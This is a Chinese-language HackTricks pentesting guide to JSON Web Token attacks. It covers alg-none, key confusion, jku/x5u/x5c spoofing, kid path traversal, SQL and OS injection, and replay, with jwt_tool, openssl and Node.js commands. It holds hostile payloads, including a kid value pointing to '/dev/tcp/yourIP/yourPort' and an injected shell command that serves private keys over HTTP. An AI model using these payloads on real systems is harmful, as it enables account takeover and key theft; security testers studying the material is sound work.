16 KiB
JWT漏洞(Json Web Tokens)
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或者 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
赏金猎人提示:注册Intigriti,一个由黑客创建的高级赏金猎人平台!立即加入我们的https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
本文的一部分内容来自:https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
伟大的JWT渗透测试工具的作者:https://github.com/ticarpi/jwt_tool
快速成功
使用All Tests!
模式运行jwt_tool,等待出现绿色行
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
如果你很幸运,工具会找到一些情况,即网页应用程序在检查JWT时出现错误:
然后,你可以在代理中搜索该请求,或使用jwt_tool转储该请求使用的JWT:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
在不修改任何内容的情况下篡改数据
你可以只篡改数据而保留签名,然后检查服务器是否在检查签名。尝试将用户名更改为"admin"。
令牌是否被检查?
- 如果出现错误消息,则表示正在检查签名 - 阅读可能泄露敏感信息的任何详细错误信息。
- 如果返回的页面不同,则表示正在检查签名。
- 如果页面相同,则表示未检查签名 - 是时候开始篡改有效载荷声明,看看你能做什么了!
来源
检查令牌在代理的请求历史中的来源。它应该是在服务器上创建的,而不是在客户端上。
- 如果首次出现在客户端,则表示密钥可以被客户端代码访问 - 找出它!
- 如果首次出现在服务器上,则一切正常。
有效期
检查令牌是否持续时间超过24小时...也许它永不过期。如果有一个"exp"字段,请检查服务器是否正确处理它。
暴力破解HMAC密钥
将算法修改为None (CVE-2015-9235)
将使用的算法设置为"None"并删除签名部分。
使用Burp扩展程序"JSON Web Token"尝试此漏洞,并更改JWT中的不同值(将请求发送到Repeater,在"JSON Web Token"选项卡中可以修改令牌的值。您还可以选择将"Alg"字段的值设置为"None")。
将算法从RS256(非对称)更改为HS256(对称)(CVE-2016-5431/CVE-2016-10555)
算法HS256使用密钥对每个消息进行签名和验证。
算法RS256使用私钥对消息进行签名,并使用公钥进行身份验证。
如果将算法从RS256更改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法来验证签名。
然后,使用公钥并将RS256更改为HS256,我们可以创建一个有效的签名。您可以通过执行以下操作检索Web服务器的证书:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
在头部插入新的公钥
攻击者在令牌的头部插入一个新的密钥,服务器使用这个新的密钥来验证签名(CVE-2018-0114)。
可以使用"JSON Web Tokens" Burp扩展来实现这一点。
(将请求发送到Repeater,在JSON Web Token选项卡中选择"CVE-2018-0114"并发送请求)。
JWKS欺骗
如果令牌使用了“jku”头声明,请查看提供的URL。这个URL应该指向一个包含用于验证令牌的公钥的JWKS文件。篡改令牌,将jku值指向一个你可以监视流量的Web服务。
如果你得到了一个HTTP交互,那么你现在知道服务器正在尝试从你提供的URL加载密钥。使用jwt_tool的-S标志和-u http://example.com 参数一起生成一个新的密钥对,注入你提供的URL,生成一个包含公钥的JWKS,并用私钥签名令牌
Kid问题
kid
是一个可选的头声明,用于保存密钥标识符,当你有多个密钥用于签署令牌时,你需要查找正确的密钥来验证签名。
"kid"问题 - 泄露密钥
如果头部使用了"kid"声明,请检查该文件或其变体是否存在于Web目录中。例如,如果"kid":"key/12345"
,则查找_web root_ 中的 /key/12345 和 /key/12345.pem。
"kid"问题 - 路径遍历
如果头部使用了"kid"声明,请检查是否可以在文件系统中使用不同的文件。选择一个你可能能够预测内容的文件,或者尝试"kid":"/dev/tcp/yourIP/yourPort"
来测试连接性,甚至一些SSRF载荷...
使用jwt_tool的-T标志来篡改JWT并更改kid声明的值,然后选择保留原始签名
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
使用已知内容的主机内的文件,您还可以伪造一个有效的JWT。例如,在Linux系统中,文件/proc/sys/kernel/randomize_va_space
的值设置为2。因此,将该路径放入“kid”参数中,并使用“2”作为对称密码生成JWT,您应该能够生成一个有效的新JWT。
"kid"问题 - SQL注入
在将“kid”的内容用于从数据库中检索密码的场景中,您可以将“kid”参数中的有效负载更改为:non-existent-index' UNION SELECT 'ATTACKER';-- -
,然后使用秘密密钥ATTACKER
签署JWT。
"kid"问题 - OS注入
在“kid”参数包含指向包含密钥的文件的路径,并且此路径正在执行的命令中使用时,您可以使用以下有效负载获得RCE并公开私钥:/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
杂项攻击
以下是已知的应进行测试的弱点。
跨服务中继攻击
某些Web应用程序使用受信任的JWT“服务”为其生成和管理令牌。过去曾发生过这样的情况,即为JWT服务的一个客户端生成的令牌实际上可以被该服务的另一个客户端接受。
如果您观察到JWT通过第三方服务发出或更新,则值得确定是否可以使用相同的用户名/电子邮件在该服务的另一个客户端上注册帐户。如果可以,请尝试将该令牌重放到目标请求中。它是否被接受?
- 如果您的令牌被接受,则可能存在一个关键问题,允许您伪造任何用户的帐户。但是,请注意,如果您正在第三方应用程序上注册,您可能需要寻求更广泛的测试权限以防止进入法律灰色地带!
是否检查exp?
“exp”负载声明用于检查令牌的到期时间。由于JWT通常在缺少会话信息的情况下使用,因此需要小心处理它们-在许多情况下,捕获和重放他人的JWT将允许您冒充该用户。
JWT重放攻击的一种缓解措施(由JWT RFC建议)是使用“exp”声明为令牌设置到期时间。还重要的是在应用程序中设置相关检查,以确保处理此值并在令牌过期时拒绝令牌。如果令牌包含“exp”声明并且测试时间限制允许,请尝试存储令牌并在过期时间过去后重放它。使用jwt_tool的-R标志读取令牌的内容,其中包括时间戳解析和到期检查(时间戳为UTC)
- 如果令牌仍然在应用程序中验证,则可能存在安全风险,因为令牌可能永远不会过期。
x5u和jku
jku
jku代表JWK Set URL。
如果令牌使用“jku”头声明,则检查提供的URL。这应该指向包含用于验证令牌的公钥的JWKS文件的URL。篡改令牌以将jku值指向您可以监视流量的Web服务。首先,您需要创建一个包含新私钥和公钥的新证书。
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
然后,您可以使用jwt.io来使用创建的公钥和私钥,并将参数jku指向创建的证书来创建新的JWT。为了创建有效的jku证书,您可以下载原始证书并更改所需的参数。
您可以使用以下方法从公共证书中获取参数"e"和"n":
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL。指向一组以PEM格式编码的X.509(证书格式标准)公共证书的URI。该组中的第一个证书必须是用于签署此JWT的证书。随后的证书依次签署前一个证书,从而完成证书链。X.509在RFC 52807中定义。需要使用传输安全性来传输证书。
尝试将此标头更改为您控制的URL,并检查是否收到任何请求。在这种情况下,您可以篡改JWT。
要使用您控制的证书伪造一个新的令牌,您需要创建证书并提取公钥和私钥:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
然后,你可以使用例如 jwt.io 来使用创建的公钥和私钥,并将参数 x5u 指向创建的证书 .crt 来创建新的 JWT。
你还可以滥用这两个漏洞用于 SSRF 攻击。
x5c
该参数可以包含以 base64 编码的证书:
如果攻击者生成了自签名证书,并使用相应的私钥创建了伪造的令牌,并将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么伪造的令牌将被服务器接受。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
嵌入公钥(CVE-2018-0114)
如果JWT中嵌入了公钥,就像下面的场景一样:
使用以下Node.js脚本可以从该数据生成公钥:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
可以生成新的私钥/公钥,将新的公钥嵌入令牌中,并使用它生成新的签名:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
您可以使用以下Node.js脚本获取“n”和“e”:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
最后,使用公钥和私钥以及新的“n”和“e”值,您可以使用jwt.io伪造一个包含任何信息的新有效JWT。
JTI(JWT ID)
JTI(JWT ID)声明为JWT令牌提供了一个唯一的标识符。它可以用于防止令牌被重放。
然而,想象一种情况,ID的最大长度为4(0001-9999)。请求0001和10001将使用相同的ID。因此,如果后端在每个请求上递增ID,您可以滥用此功能来重放请求(需要在每次成功重放之间发送10000个请求)。
JWT注册声明
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
工具
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Bug赏金提示:注册Intigriti,一个由黑客创建的高级Bug赏金平台!立即加入我们的https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。